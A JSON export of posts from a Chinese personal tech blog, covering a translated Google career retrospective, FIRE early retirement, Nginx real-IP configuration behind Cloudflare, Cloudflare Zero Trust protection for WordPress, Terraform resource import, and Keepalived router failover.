谷歌的认知负荷很高——需要记住无数系统和技术，它们可能以某种方式影响你的系统（在SRE岗位上尤其如此） 幸运之处 谷歌的股票表现很好，加上我快速的职业轨迹，我的财务状况非常不错 🙂 我招募的人表现非常出色 尽管有些事情是具有挑战性的，但我仍然弄清楚了很多事情，并在高压力环境下取得了优异的表现 我做出了良好的财务决策，尽管还可以更幸运，但这些决策背后有理性的思考过程 我建立了很多优秀的人脉 我能做得不同的地方 应该更早离开SRE岗位，因为从一开始我就知道这不是我想要的 应该搬到其他办公室——人容易留恋已经拥有的好事，转换的成本也不小，但我过去低估了探索的重要性 更好地利用教育补贴（例如，多参加斯坦福的在线课程） 下一步 接下来，我将进行至少6个月的休假，探索、放松、学习新事物，拓展自己对未来可以从事领域的认识。\n我有一种倾向，即倾向于过早结束探索，同时热衷于以明确的目标进行生产性工作，因此休假对我来说是一种心理上的挑战。我会继续写关于这个主题的文章，敬请关注！\n时间线 2015年夏季：谷歌应用引擎SRE实习生（伦敦） Cloud Bigtable SRE时期（都柏林） 加入时为L3工程师\n9个月内晋升至L4\nCloud Bigtable团队负责人\n1.5年内晋升至L5\n持久磁盘SRE时期 以L5级别加入 游走于不同工作组，后来参与了一个后来成为Hyperdisk的项目 美国姐妹团队解散，重建于西雅图 成为Hyperdisk的临时技术负责人并组建了团队 晋升至L6 成为持久磁盘IO SRE的经理 持久磁盘SRE遭遇了人员过度流失和倦怠问题（SRE招聘问题、开发组织迅速增长从40到200等） GCE Fleet维护开发时期 以L6级别的个人贡献者加入 招聘我的主管晋升为副总裁，将我交给了一位过于繁忙的其他经理 接手了一个内部挣扎中的项目，使其成功，并在都柏林组建了一个团队 从个人贡献者转为管理者，管理4人，后升至6人 在另一位高级经理手下启动了第二个团队 由于人员配置不足，重组了第二个团队，并重新定义了主要团队的任务 通过这篇文章，我分享了在谷歌的九年旅程中的一些关键经历和反思。对于未来，我希望能够更多地探索和学习。\n","date":"2024-09-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/%E8%B0%B7%E6%AD%8C%E4%B9%9D%E5%B9%B4%E6%97%85%E7%A8%8B%E7%9A%84%E4%BA%8B%E5%90%8E%E5%88%86%E6%9E%90%E7%BF%BB%E8%AF%91/","tags":["好文","翻译"],"title":"[翻译]谷歌九年旅程的事后分析"},{"categories":["职业与自由"],"contents":"前 在当今社会，财务自由和提早退休（Financial Independence, Retire Early，简称FIRE）正成为越来越多人追求的目标。FIRE运动强调通过积累足够的财富，实现提早退休，并拥有更大的自由去选择如何生活。为了更好地理解FIRE，这篇文章将介绍什么是FIRE，为什么越来越多人选择这条道路，以及它对个人生活的影响。\n正文 什么是FIRE FIRE 是一种理财哲学和生活方式，旨在通过节省和投资积累足够的资产，以便在相对较年轻的年龄实现财务独立，并选择是否提早退休。FIRE的核心理念是通过减少不必要的开支和增加储蓄率，投资于高回报的资产，从而使你不再需要依赖工资收入来维持生活。\nFIRE的核心要素 财务独立（Financial Independence）: 通过存钱和投资，积累足够的财富，以便在不工作或选择性工作的情况下，依然能够维持理想的生活水平。 提早退休（Retire Early）: 一旦实现财务独立，就可以选择在传统退休年龄之前停止全职工作，实现“提早退休”。 FIRE的基础理念 要理解为什么越来越多人选择FIRE，需要了解其基础理念：\n高储蓄率: FIRE的倡导者通常会保持高储蓄率，通常建议将收入的50%以上用于储蓄和投资。 有效投资: 通过投资股票、债券、房地产等资产来实现财富的增值，使得财富积累速度快于通货膨胀率。 简化生活: 控制支出和减少不必要的消费，以实现更高的储蓄率和减少财务压力。 创建被动收入: 通过投资产生被动收入，使其可以替代工作收入。 FIRE 通常类型 FIRE 通常分为以下几种类型：\nFat FIRE：在不降低生活质量的前提下，积累大量财富以实现财务自由。 Lean FIRE：通过极简主义生活方式和低开支，实现财务独立。 Barista FIRE：积累一定财富后，通过兼职或低强度工作继续维持生活，同时享受财务自由带来的灵活性。 Coast FIRE：早期大量储蓄并投资，使得后期只需维持基本的生活开支即可实现财务独立。 为什么要选择FIRE 越来越多人选择FIRE，主要原因如下：\n自主生活：FIRE 让人们拥有更多的时间和自由去追求他们真正热爱的事情，无论是旅行、创业、学习新技能，还是与家人共度时光。 心理健康：工作压力和职业倦怠问题日益严重，FIRE 提供了一种逃离传统工作模式的途径，减少精神压力，提升生活质量。 经济安全：通过积累财富和投资，FIRE 提供了经济保障，减少了对单一收入来源的依赖，增加了应对突发事件的能力。 环境影响：FIRE 通常与节约和环保生活方式相结合，减少浪费和过度消费，有助于实现更可持续的生活方式。 FIRE 对个人生活的影响 实现FIRE 不仅仅是财务上的自由，它对个人生活的影响是深远的：\n时间管理：FIRE 实现后，你将拥有更多的时间来管理自己的人生，无需再按固定的工作时间表生活，可以更灵活地安排每天的活动。 人际关系：更多的自由时间可以用来与家人和朋友共度美好时光，增强人际关系和社会连接。 健康生活：有更多时间和资源关注健康，可以进行更多的运动和健康饮食，从而提高整体健康水平。 自我实现：FIRE 提供了一个平台，让你去探索和实现自己的兴趣和梦想，无论是写作、艺术、音乐，还是其他创意活动。 FIRE适合每个人吗？ 虽然FIRE看起来很吸引人，但并不适合每个人。\n它需要强烈的纪律性、良好的财务规划和一定的牺牲（如减少非必要支出）。\n此外，每个人的财务状况、职业发展、家庭责任和生活目标各不相同，所以在决定是否追求FIRE之前，需要深入思考个人的生活目标和财务状况。\n后 FIRE是一种希望通过提早积累财富，实现财务自由并提前退休的生活方式。它不仅仅是一种财务规划方法，更是一种追求更高自由度和生活质量的理念。通过了解FIRE的意义和优势，可以更好地判断这种生活方式是否适合自己，并做出最合适的选择。\n","date":"2024-09-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/fire_0/","tags":["财务自由","提早退休"],"title":"FIRE是什么？为什么要FIRE？"},{"categories":["OP之路","折腾笔记"],"contents":"前 网站流量通过 Cloudflare 网络路由时，Cloudflare 作为反向代理来处理用户请求。Cloudflare 能够更有效地路由数据包并缓存静态资源（如图像、JavaScript、CSS 等），从而加快页面加载时间。然而由于Cloudflare充当中间层，原始服务器在响应请求并记录日志时通常只能看到Cloudflare的IP地址，而非访问者的真实IP地址。\n为了获取真实IP，需要对Nginx进行一些配置，\n默认情况下会记录 Cloudflare IP 地址。原始访问者 IP 地址出现在附加的 HTTP 标头中，称为 CF-Connecting-IP。\n下面这个图很好的说明了，是否经过Cloudflare，以及是否设置远程IP 头的后端获取IP结果。\nCF-Connecting-IP OR X-Forwarded-For XFF X-forward-for 这个头可能大家也不陌生，但是在 Cloudflare 接入后，CF-Connecting-IP 和 X-Forwarded-For 两个 HTTP 头字段都可以用于识别原始客户端的 IP 地址。\n对于选择哪个IP作为后端的真实IP 需要对这两个头进行对比。\n属性 CF-Connecting-IP X-Forwarded-For 头字段的设置 由 Cloudflare 设置 由每一层代理服务器设置或追加 包含的 IP 地址 单一的原始客户端 IP 地址 一个包含原始 IP 和代理链的 IP 地址列表 可信度 高，Cloudflare 独有，不易伪造 低，易被伪造或修改，依赖于所有代理的正确设置 适用场景 适用于经过 Cloudflare 的流量 适用于多层代理时，且所有代理都可信 ### 推荐使用哪个？ 综上在使用 Cloudflare 的情况下，推荐使用 CF-Connecting-IP 来获取客户端的真实 IP 地址\n唯一性和简洁性：CF-Connecting-IP 总是表示原始客户端的单一 IP 地址，简单直接，不会有多个 IP 地址链的问题 可信度高：由于 CF-Connecting-IP 是由 Cloudflare 直接提供的，它更可信，且不会被客户端伪造或修改。 正文 前面知道了 CF 传递的特有的 CF-Connecting-IP 头之后，我们就可以修改 Nginx 配置。让它把 CF-Connecting-IP 这个头包含的 IP 作为用户的真实IP。\n下面是具体的配置过程\n配置生成 我们编写脚本来进行配置文件的生成， 具体的逻辑是curl获取cloudflare 的边缘节点的IP列表。之后使用 set_real_ip_from 的配置，来信任这些源IP，来避免IP伪造的问题。\n#!/bin/bash CLOUDFLARE_FILE_PATH=/etc/nginx/conf.d/cloudflare.conf echo \u0026#34;#Cloudflare\u0026#34; \u0026gt; $CLOUDFLARE_FILE_PATH; echo \u0026#34;\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; echo \u0026#34;# - IPv4\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; for i in `curl -s -L https://www.cloudflare.com/ips-v4`; do echo \u0026#34;set_real_ip_from $i;\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; done echo \u0026#34;\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; echo \u0026#34;# - IPv6\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; for i in `curl -s -L https://www.cloudflare.com/ips-v6`; do echo \u0026#34;set_real_ip_from $i;\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; done echo \u0026#34;\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; echo \u0026#34;real_ip_header CF-Connecting-IP;\u0026#34; \u0026gt;\u0026gt; $CLOUDFLARE_FILE_PATH; #test configuration and reload nginx nginx -t \u0026amp;\u0026amp; nginx -s reload 在我们运行这个脚本之后，会在 /etc/nginx/conf.d/cloudflare.conf 生成下面的配置。信任所有的cloudflare的边缘IP，并且设置 realip 为 CF-Connecting-IP 的头所标注的IP。\n# 设置Real IP头 #Cloudflare ip addresses # - IPv4 set_real_ip_from 173.245.48.0/20; set_real_ip_from 103.21.244.0/22; set_real_ip_from 103.22.200.0/22; set_real_ip_from 103.31.4.0/22; set_real_ip_from 141.101.64.0/18; set_real_ip_from 108.162.192.0/18; set_real_ip_from 190.93.240.0/20; set_real_ip_from 188.114.96.0/20; set_real_ip_from 197.234.240.0/22; set_real_ip_from 198.41.128.0/17; set_real_ip_from 162.158.0.0/15; set_real_ip_from 104.16.0.0/13; set_real_ip_from 104.24.0.0/14; set_real_ip_from 172.64.0.0/13; set_real_ip_from 131.0.72.0/22; # - IPv6 set_real_ip_from 2400:cb00::/32; set_real_ip_from 2606:4700::/32; set_real_ip_from 2803:f800::/32; set_real_ip_from 2405:b500::/32; set_real_ip_from 2405:8100::/32; set_real_ip_from 2a06:98c0::/29; set_real_ip_from 2c0f:f248::/32; # 设置使用的头字段 real_ip_header CF-Connecting-IP; 更新 Nginx 配置 打开 Nginx 配置文件\nNginx的主配置文件通常位于 /etc/nginx/nginx.conf 或 /etc/nginx/conf.d/default.conf，根据您的环境找到并编辑该文件。\n添加 Cloudflare 真实IP头支持\n在 http 块或 server 块中，添加以下配置：\ninclude /etc/nginx/conf.d/cloudflare.conf; 保存并重启 Nginx\n保存配置文件，然后通过以下命令重启Nginx服务：\nsudo systemctl restart nginx 验证真实 IP 获取 查看访问日志\n默认情况下，Nginx将访问日志保存在/var/log/nginx/access.log。可以使用以下命令查看日志：\ntail -f /var/log/nginx/access.log 后 通过配置Nginx来正确识别Cloudflare传递的真实IP地址，在使用安全上可以有较大的提升。\n而且应该是使用docker来部署的wp获取IP这种方式也是更加推荐的。不需要对容器内的内容进行修改。\n","date":"2024-09-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/nginx%E9%85%8D%E7%BD%AEcf%E7%9C%9F%E5%AE%9Eip/","tags":["Cloudflare","Zerotrust","Nginx"],"title":"Nignx获取Cloudflare的真实IP"},{"categories":["OP之路"],"contents":"前 最近在重整站点的时候，看到wordpress后台一直在被尝试密码暴破，虽然做了IP级别的登陆尝试限制，但是感觉还是没有十足的安全感。为了解决这个问题，使用 Cloudflare Zero Trust 的application 方案，为 WordPress 后台登录页面增加一层保护，确保只有授权用户能够访问和操作。\n试试看？👉 我的管理后台\n正文 Zero Trust 的使用优势 **Zero Trust（零信任）**是一种网络安全模型，假设网络内外的任何人或设备都不可信，并需要验证每一个试图访问资源的请求。这种方法不仅有效防止了外部的攻击，也能限制内部的威胁。通过为 WordPress 后台页面启用 Cloudflare 的 Zero Trust 服务\n访问控制：确保只有经过授权的用户才能访问后台页面，有效防止暴力攻击和其他未经授权的访问。 多重认证：可以为登录页面添加多因素认证（MFA），进一步提高安全性。 活动监控：实时监控所有访问请求，能够快速识别和阻止可疑活动。 配置 Cloudflare Zero Trust 保护 如果域名托管在 Cloudflare上面，那就可以进行进行直接的接入，在五分钟拥有一个 有保护的后台\n1. 配置认证方式 在左边栏 Settings -\u0026gt; Authentication，找到认证方式的设置，在下面点击Add new。\n这里我添加了两种认证方式，一种是邮件的 TOTP就是给你邮箱发送一个一次性验证码，另一种是使用 github来进行oauth来登陆。具体配置点击Edit 有详细介绍\n2. 创建 应用 登录到 Cloudflare 仪表板\n进入 Cloudflare 仪表板后，选择所需的网站，导航到 Zero Trust 菜单下的 Access。\n创建应用程序\n在 Access 页面中，选择 Applications，点击 Add an application 按钮。\n设置应用程序的基本信息\nApplication Name（应用名称）：输入名称，例如 “WordPress Admin”。 Subdomain（子域名）：输入后台子域或路径，我的是 wordpress ，所以我这里是 例如 “/wp-login.php”。 选择应用类型\n在应用类型中，选择 Self-hosted（自托管），因为 WordPress 是运行在自己服务器上的。\n之后点击保存，即可完成这个APP的创建，党完成创建之后这个路由已经托管在了CF上，当用户访问的时候需要先进行认证之后才能进入真正的 wordpress 后台。\n3. 验证配置 在打开后台的时候可是看到直接跳转到验证登陆界面。而且从wp的后台来看，密码爆破攻击已经不在发生。\n后 通过使用 Zero Trust 服务，可以显著提高后台页面的安全性，防止未经授权的访问和潜在的攻击。\n","date":"2024-09-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/%E4%BD%BF%E7%94%A8zt%E4%BF%9D%E6%8A%A4%E4%BD%A0%E7%9A%84wp/","tags":["Cloudflare","Zerotrust"],"title":"使用 Cloudflare ZeroTrust保护你的后台页面"},{"categories":["折腾笔记"],"contents":"写在前面的话 工作/代码/计算机相关 Nand2Tetris 本周没有进行 Nand2Tetris 的学习.\nGoogle UX 迫于之前学过的都忘记了. 所以这次学的时候顺便开始做\u0026quot;笔记\u0026quot;: https://whatiknown.strrl.dev/notes/bl9wq6sc32ufvri0ukuyqkh/\n一丢丢关于程序的瞎想 “可复现性” 是软件行业能够快速稳定发展的重要的基础.\n但是出处我找不到了…\n“可复现性\u0026quot;意味着, 只要一个人有生产资料(代码, 电脑), 他就能够使用这些生产资料做出一样的东西来. 相比于建筑行业, 哪怕拥有了足够的钢筋水泥, 也几乎不可能在极短的时间内构建出一模一样的建筑来.\n这个特点使得计算机的工件/产物能够广泛的传播和使用, 分布式的合作能够以空前的规模进行, 行业内问题的解决效率也非常非的高.\n目前在投身开源项目的构建时, 俺自己认为维护\u0026quot;可复现性\u0026quot;有很重要的几点:\n有一份好的 Contributing guidelines, 尤其是在工程角度. 任何代码都能够在开发者本地环境上构建和运行, 包括所有的测试. 在今后的工程作业中, 俺会多注意这两点.\n准备使用 zfs 替换 btrfs 作为开发机的文件系统 上次杭州 LUG 的分享会上, 有一位同学分享了 zfs 相关的内容. 鉴于我一直以使用 btrfs 作为开发机的文件系统而且也正在顺利使用着 snapshot 功能做备份.\n因为群晖上其实也是使用 btrfs 的嘛, 于是想尝试一下使用 btrfs send 和 btrfs receive 来做一次异地备份. 结果就是体验非常不好:\n速度很慢, 很久一段时间只有 60KiB/s 的速度, 峰值也只有 60MiB/s. 没有办法断点续传. 一旦中断, 就必须重新开始. 于是在上周的 hzlug 我又问了下那位同学, 回复说 zfs 是可以断点续传的.\n正好 NAS 换下来了 4 块 2TiB 的盘, 可以收个蜗牛星际组 zfs 再试试!\n生活相关 最近 journal 其实记录的并不多, 发现生活上也没啥可聊的. 先不写了吧.\n","date":"2024-09-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/cloudflare%E5%9B%BD%E5%86%85%E5%8A%A0%E9%80%9F%E7%BA%AF%E5%87%80%E7%89%88/","tags":["Homelab","Cloudflare","Saas"],"title":"Cloudflare国内加速纯净版"},{"categories":["OP之路"],"contents":"前 记录下用于记录和分享，导入现有资源到 terraform 的最佳实践。\n这是terraform 在使用过程中很常见的一种做法，但是在做的过程有些小细节可以没有注意。所以写这边文章来记录和分享一下。\n正文 Terraform 管理资源的基本原理是保持远程的资源数据和本地的状态文件一致，所以我们导入资源就是把远程的状态复制到本地\n这里假定你已经有了一个 初始化后的 terraform的项目\n本地创建空资源 在本地创建空资源块来接收导入的状态 空的 aws_ssm_parameter 资源块，将在导入时自动填充，这里以 aws_iam_policy 为例子。\n确认资源的命名需要通过 terraform的文档来进行查询，文档提供了相当全面的参数。\n那么aws_iam_policy 对应的空结构如下。\nresource \u0026#34;aws_iam_policy\u0026#34; \u0026#34;user_limit_access\u0026#34; { # 参数将在导入之后根据导入的内容进行调整 } 导入远程状态 导入方法有两种，在高版本的 terraform 中有良好的支持\nimport block Cli 在这里看实际情况选择使用，如果是少数资源使用 CLI 进行命令执行即可，但是如果导入资源数量较多，推荐使用 block形式进行导入。这里两种方式都会列举\nBlock 形式\nimport { to = aws_iam_policy.administrator id = \u0026#34;arn:aws:iam::123456789012:policy/UsersManageOwnCredentials\u0026#34; } Cli 形式\nterraform import aws_iam_policy.administrator arn:aws:iam::123456789012:policy/UsersManageOwnCredentials 执行命令后 Terraform 会通过API来拉取资源的远程状态同步到本地，提示 Successful\n编辑资源与本地状态一致 Terraform 目的是让资源文件定义的状态与远程一致。所以现在我们需要修改 tf文件让它的配置和 state中保持一致。这样就实现了同步，而不会做任何的变更。\n使用下面命令列出现在所有的资源文件的详细状态\nterraform show | less 并且进行资源搜索，找到它并且复制。在本次演示中，资源的状态内容如下：\nresource \u0026#34;aws_iam_policy\u0026#34; \u0026#34;ssm_user_limit_access\u0026#34; { name = \u0026#34;ssm-user-limit-access\u0026#34; path = \u0026#34;/\u0026#34; policy = jsonencode( { Statement = [ { Action = \u0026#34;ssm:StartSession\u0026#34; Condition = { Bool = { \u0026#34;aws:MultiFactorAuthPresent\u0026#34; = \u0026#34;true\u0026#34; } } Effect = \u0026#34;Allow\u0026#34; Resource = [ \u0026#34;arn:aws:ec2:ap-east-1:0000:instance/i-kkkkkk\u0026#34;, \u0026#34;arn:aws:ssm:ap-east-1:0000:document/SSM-SessionManagerRunShell\u0026#34; ] Sid = \u0026#34;VisualEditor0\u0026#34; }, { Action = \u0026#34;ssm:TerminateSession\u0026#34; Effect = \u0026#34;Allow\u0026#34; Resource = \u0026#34;arn:aws:ssm:*:*:session/$${aws:username}-*\u0026#34; Sid = \u0026#34;VisualEditor1\u0026#34; }, ] Version = \u0026#34;2012-10-17\u0026#34; } ) tags = {} tags_all = {} } 复制状态信息到 资源的tf文件中。\n验证 Terraform 配置 在完成配置之后，运行以下命令来验证 Terraform 配置是否正确：\nterraform plan 如果一切正常，你将会看到计划输出。如果是 No changes. Your infrastructure matches the configuration. 那就说明我们的本地状态与远程的完全一致没有变化。就完成了这个资源的导入\n总结 一个 导入现有的资源到本地的 SOP，对于terraform 的工作原理的理解也会有所帮助。\n","date":"2024-09-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/%E5%AF%BC%E5%85%A5%E7%8E%B0%E6%9C%89%E8%B5%84%E6%BA%90%E5%88%B0terraform/","tags":["Terraform","IaC"],"title":"导入现有资源到Terraform"},{"categories":["折腾笔记"],"contents":"前 在家庭网络中，我采用硬路由+旁路由的架构。硬路由负责拨号、流量统计等基础功能，旁路由运行一些额外服务。这种架构有个致命问题：一旦折腾旁路由导致其挂掉，全屋网络就会中断。\n之前的解决方案是在主路由上运行脚本，定期 ping 8.8.8.8，如果 ping 不通就切换网关。但这种方式会导致 10 秒左右的网络中断，WiFi 也会断开。简直太不优雅了。\n周末研究了下 VRRP 协议，找到了更好的解决方案：使用 Keepalived 实现路由器高可用。软路由作为 MASTER 主节点，华硕路由作为 BACKUP 备用节点，当主节点挂掉时自动切换到备用节点，切换时间仅 2 秒，无感知。\n为什么选择硬路由做主路由 我的家庭网络架构选择：\n硬路由（华硕）：负责基础功能 拨号和流量统计 DHCP 服务 作为备用网关 软路由（OpenWrt）：运行额外服务 魔法上网 其他自定义服务 作为主网关 选择硬路由做主路由的原因：\n华硕官方提供定期的系统更新 系统稳定，不需要频繁折腾 软路由经常折腾，容易导致全屋断网 VRRP 协议简介 什么是 VRRP VRRP（Virtual Router Redundancy Protocol，虚拟路由冗余协议）是一种网络协议，通过多个路由器组成冗余路由器组来提高网络的可靠性和可用性。\n简单来说，VRRP 创建一个虚拟路由器，多个物理路由器共享同一个虚拟 IP 地址。客户端设备使用这个虚拟 IP 作为默认网关，当主路由器故障时，备用路由器自动接管，对客户端来说是透明的。\n工作原理 VRRP 的核心机制：\n虚拟路由器：创建一个虚拟 IP 地址（VIP），作为客户端的默认网关 角色分配： MASTER（主）：负责处理所有数据流量 BACKUP（备）：监控主路由器状态，随时准备接管 优先级机制：范围 0-255，优先级最高的成为 MASTER 心跳检测：MASTER 定期发送 VRRP 广播包，BACKUP 通过心跳监控主路由器状态 故障切换：当 BACKUP 检测到 MASTER 心跳停止，立即接管虚拟 IP 核心优势 高可用性：提供冗余路径，单点故障不影响网络 快速切换：故障切换时间仅 2-3 秒 透明接管：客户端无需任何配置变更 灵活配置：可配置多个 VRRP 组实现负载均衡 实施方案 架构说明 在开始配置前，明确我们的架构设计：\n虚拟 IP：192.168.0.5（客户端使用的网关地址） OpenWrt（软路由）：192.168.0.2，MASTER，优先级 100 ASUS（硬路由）：192.168.0.1，BACKUP，优先级 50 客户端设备将网关设置为 192.168.0.5，正常情况下流量走软路由，软路由故障时自动切换到硬路由。\n配置 ASUS 路由器（BACKUP） 1. 安装 Entware 华硕梅林固件需要先安装 Entware 包管理器，参考官方文档完成安装。\n2. 安装 Keepalived opkg update opkg install keepalived 3. 备份默认配置 mv /opt/etc/keepalived/keepalived.conf /opt/etc/keepalived/keepalived.conf.bak 4. 创建配置文件 cat \u0026gt; /opt/etc/keepalived/keepalived.conf \u0026lt;\u0026lt;-EOF global_defs { router_id ASUS_BACKUP } vrrp_instance VI_1 { interface br0 # LAN 口网卡名，通过 ip a 查看 state BACKUP # 备用节点 virtual_router_id 1 # 虚拟路由器 ID，组内必须一致 priority 50 # 优先级，低于主节点 advert_int 1 # 心跳间隔（秒） authentication { auth_type PASS auth_pass 1234 # 认证密码，组内必须一致 } virtual_ipaddress { 192.168.0.5 # 虚拟 IP 地址 } } EOF 配置说明：\ninterface br0：华硕路由的 LAN 口网卡名通常为 br0 priority 50：优先级低于 OpenWrt，确保作为备用节点 virtual_router_id 1：两个路由器必须使用相同的 ID auth_pass：两个路由器必须使用相同的密码 5. 启动服务 nohup /opt/sbin/keepalived -n -f /opt/etc/keepalived/keepalived.conf \u0026amp; # 确认启动成功 ps | grep keepalived | grep -v grep 6. 设置开机启动 适用于梅林固件：\ncat \u0026gt;\u0026gt; /jffs/scripts/post-mount \u0026lt;\u0026lt;-EOF nohup /opt/sbin/keepalived -n -f /opt/etc/keepalived/keepalived.conf \u0026amp; EOF # 添加执行权限 chmod +x /jffs/scripts/post-mount 配置 OpenWrt（MASTER） 1. 安装 Keepalived opkg update opkg install keepalived 2. 备份默认配置 mv /etc/keepalived/keepalived.conf /etc/keepalived/keepalived.conf.bak 3. 创建配置文件 cat \u0026gt; /etc/keepalived/keepalived.conf \u0026lt;\u0026lt;-EOF global_defs { router_id OPENWRT_MASTER } vrrp_instance VI_1 { interface br-lan # LAN 口网卡名，通过 ip a 查看 state MASTER # 主节点 virtual_router_id 1 # 虚拟路由器 ID，与 ASUS 一致 priority 100 # 优先级，高于备用节点 advert_int 1 # 心跳间隔（秒） authentication { auth_type PASS auth_pass 1234 # 认证密码，与 ASUS 一致 } virtual_ipaddress { 192.168.0.5 # 虚拟 IP 地址 } } EOF 配置说明：\ninterface br-lan：OpenWrt 的 LAN 口网卡名通常为 br-lan priority 100：优先级高于 ASUS，确保作为主节点 其他参数必须与 ASUS 路由器保持一致 4. 停用系统服务 这里有个坑：OpenWrt 安装后 keepalived 会作为 service 启动，但不会读取我们的配置文件。需要先停用系统服务。\nservice keepalived stop service keepalived disable 5. 手动启动 Keepalived nohup /usr/sbin/keepalived -n -f /etc/keepalived/keepalived.conf \u0026amp; # 确认启动成功 ps | grep keepalived | grep -v grep 6. 设置开机启动 sed -i \u0026#39;/exit 0/i\\nohup \\/usr\\/sbin\\/keepalived -n -f \\/etc\\/keepalived\\/keepalived.conf \u0026amp;\u0026#39; /etc/rc.local 测试验证 基础连通性测试 配置完成后，从客户端测试虚拟 IP：\nping 192.168.0.5 应该能正常 ping 通，此时流量走的是 OpenWrt（MASTER）。\n故障切换测试 在 OpenWrt 上停止 keepalived 模拟故障：\nkillall keepalived 观察 ping 结果：\n会有大约 2 秒钟的中断 随后自动恢复，流量切换到 ASUS（BACKUP） 客户端无需任何操作 恢复测试 重新启动 OpenWrt 的 keepalived：\nnohup /usr/sbin/keepalived -n -f /etc/keepalived/keepalived.conf \u0026amp; 流量会自动切回 OpenWrt（MASTER）。\n查看状态 在路由器上查看虚拟 IP 是否绑定成功：\nip addr show | grep 192.168.0.5 主节点应该能看到虚拟 IP 绑定在 LAN 口上。\n注意事项 虚拟路由器 ID：两个路由器的 virtual_router_id 必须相同 认证密码：两个路由器的 auth_pass 必须相同 网卡名称：使用 ip a 命令确认实际的网卡名称 防火墙规则：确保 VRRP 协议（IP 协议号 112）未被防火墙拦截 IP 冲突：虚拟 IP 不能与现有设备 IP 冲突 开机启动：确保两个路由器都设置了开机自启动 进阶配置 配置多个 VRRP 组 可以配置多个虚拟 IP 实现负载均衡：\n# 第二个 VRRP 组 vrrp_instance VI_2 { interface br-lan state BACKUP # OpenWrt 在第二组作为备用 virtual_router_id 2 priority 50 advert_int 1 authentication { auth_type PASS auth_pass 5678 } virtual_ipaddress { 192.168.0.6 } } 部分设备使用 192.168.0.5 作为网关（走 OpenWrt），部分使用 192.168.0.6（走 ASUS），实现流量分担。\n后 至此，一个高可用的家庭路由器方案就搭建完成了。\n总结一下这个方案的优势：\n快速切换：故障切换时间仅 2 秒，几乎无感知 自动恢复：主路由恢复后自动接管流量 配置简单：相比传统脚本方案，配置更简洁优雅 标准协议：基于 VRRP 标准协议，稳定可靠 再也不用担心折腾软路由导致全屋断网了。可以放心地在旁路由上测试各种新功能，即使挂掉也能自动切换到硬路由，保证网络的持续可用。\n如果你也有类似的需求，不妨试试这个方案。\n","date":"2024-06-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/%E6%89%93%E9%80%A0%E4%B8%8D%E6%96%AD%E7%BD%91%E7%9A%84%E6%97%81%E8%B7%AF%E7%94%B1/","tags":["Homelab","Keepalived","OpenWrt","VRRP","网络"],"title":"打造不断网的旁路由：基于 Keepalived 的高可用方案"},{"categories":["devops"],"contents":"前 在使用terraform的时候总会遇到一个问题，控制台好用但是无法进行方便的批量配置。Terraform 可以批量但是会存在覆盖远端配置的情况。 所以这里需要模拟在这个场景下的实践方案\n需要在TF变更前同步到最新的远端配置 需要使用 TF来进行配置管理。 主要依赖工具：\ncf-terraforming 前置配置 因为 Cf- terraforming 和 terraform 都是使用API来完成资源控制的所以这里需要先在 Cloudflare 上面获取api token/api key\nCF-terraforming 的key持久化 在 ~/.cf-terraforming.yaml 中配置相关的key\nemail: \u0026#34;ryan@q.com\u0026#34; key: \u0026#34;xoookjjd\u0026#34; 这样不需要每次都重新的设置CF 相关的环境变量\nTerraform 的环境变量配置 在使用Terraform的时候，需要在在环境变量中获取Cloudflare 的key。\nexport CLOUDFLARE_EMAIL=xxx@xxxcn export CLOUDFLARE_API_TOKEN=1fHud91jd export CLOUDFLARE_ACCOUNT_ID=8a3*** 导入资源 为了实现 控制台和本地资源的双向同步，需要先使用cf-tf 来吧控制台的配置导出成本地的TF文件。\n获取相关资源ID 由于这里变更的是 cloudflare_access 所以需要获取相关的 accountid 8a3***\n这里需要注意的是 Cloudflare 的设计逻辑，ID 有两种\nZoneID\t域名级别的资源，如限频策略，白名单 AccountID\t全局的账户级别资源，如Zerotrust 使用 generate 命令来把控制台的配置反向配置成为本地的 TF 文件，文件中记录的就是我们现有配置在 terraform 中的模样\ncf-terraforming generate -a 8a3*** --resource-type \u0026#34;cloudflare_access_application\u0026#34; \u0026gt; cloudflare_access_application.tf 在有了TF 文件之后，需要更新本地的状态。使用下面的语句生成 import 的命令。会生成批量的 import 命令\ncf-terraforming import --resource-type \u0026#34;cloudflare_access_application\u0026#34; -a 8a3*** 得到命令之后，在终端执行。至此我们完成把 Cloudflare 的配置转化为本地的TF文件，而且本地的资源状态与cf控制台一致\n后面我们就可以开始配置管理。\n配置管理 使用Teerraform 进行批量配置管理 有了TF 配置文件后，我们设置provider。\nterraform { required_providers { cloudflare = { source = \u0026#34;cloudflare/cloudflare\u0026#34; version = \u0026#34;4.27.0\u0026#34; } } } provider \u0026#34;cloudflare\u0026#34; { } 然后我们使用 tf文件来创建一个 split tunnel 的资源。以提供给warp客户端实现中国大陆的资源的访问分流。\nresource \u0026#34;cloudflare_split_tunnel\u0026#34; \u0026#34;china_split_tunnel_exclude_ryan\u0026#34; { account_id = \u0026#34;8a3d922dd*********b970e2\u0026#34; # ID for Ryan policy_id = \u0026#34;84EE989D-6B5B-409D-809B-90D019B5A95A\u0026#34; mode = \u0026#34;exclude\u0026#34; tunnels {address = \u0026#34;10.0.0.0/8\u0026#34;} tunnels {address = \u0026#34;100.64.0.0/10\u0026#34;} tunnels {address = \u0026#34;169.254.0.0/16\u0026#34;} tunnels {address = \u0026#34;172.16.0.0/12\u0026#34;} tunnels {address = \u0026#34;192.0.0.0/24\u0026#34;} tunnels {address = \u0026#34;192.168.0.0/16\u0026#34;} } 之后使用 Terraform 命令来对上面的嘴唇文件进行应用\nterraform plan terraform apply 